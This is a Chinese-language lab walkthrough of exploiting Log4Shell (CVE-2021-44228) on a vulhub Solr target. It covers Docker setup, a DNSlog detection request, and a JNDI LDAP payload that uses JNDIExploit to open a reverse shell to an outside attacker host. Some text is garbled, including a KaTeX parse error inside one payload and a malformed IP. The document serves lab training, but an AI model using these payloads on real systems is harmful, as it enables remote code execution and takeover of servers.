- 1、漏洞原理
- 2、先安装好docker容器
- 3、下载最新版本vulhub漏洞靶场
- 4、进入CVE-2021-44228文件目录
- 5、拉取镜像
- 6、访问http://靶场IP:8983/solr/#/
- 7、测试是否存在漏洞
- 8、在攻击机上启动JNDIExploit
- 9、在攻击机上监听一个端口
- 10、发送payload,获取靶机的shell
准备:
攻击机:kaili
靶机:Mac的vulhub靶场
Log4j2默认支持解析ldap/rmi协议,并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:{sys:java.version}}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的
2、先安装好docker容器安装好容器后,启动容器
3、下载最新版本vulhub漏洞靶场git clone https://github.com/vulhub/vulhub.git
4、进入CVE-2021-44228文件目录cd /vulhub/log4j/CVE-2021-44228
docker-compose up -d --build
http://1270.0.1:8983/solr/#/
1、先在http://www.dnslog.cn/ 申请一个dns域名得到 ytc9y6.dnslog.cn
2、请求如下
http://靶场IP:8983/solr/admin/cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.你申请的DNS域名}
3、收到域名解析记录,存在漏洞,,需要点击刷新下并成功返回java版本,为什么能显示java的版本,因为poc里面加了一个查看java版本的命令${sys:java.version},所以java版本结果回显在dnslog上面来了。
启动JNDIExploit,要求JDK版本为JDK1.8.0_172,启动如下:
http://192.168.244.137:8983/solr/admin/cores?action=${jndi:ldap://192.168.10.11:1389/Basic/ReverseShell/119.91.99.112/6666}
执行后结果如下:
查看监听,成功反弹shell



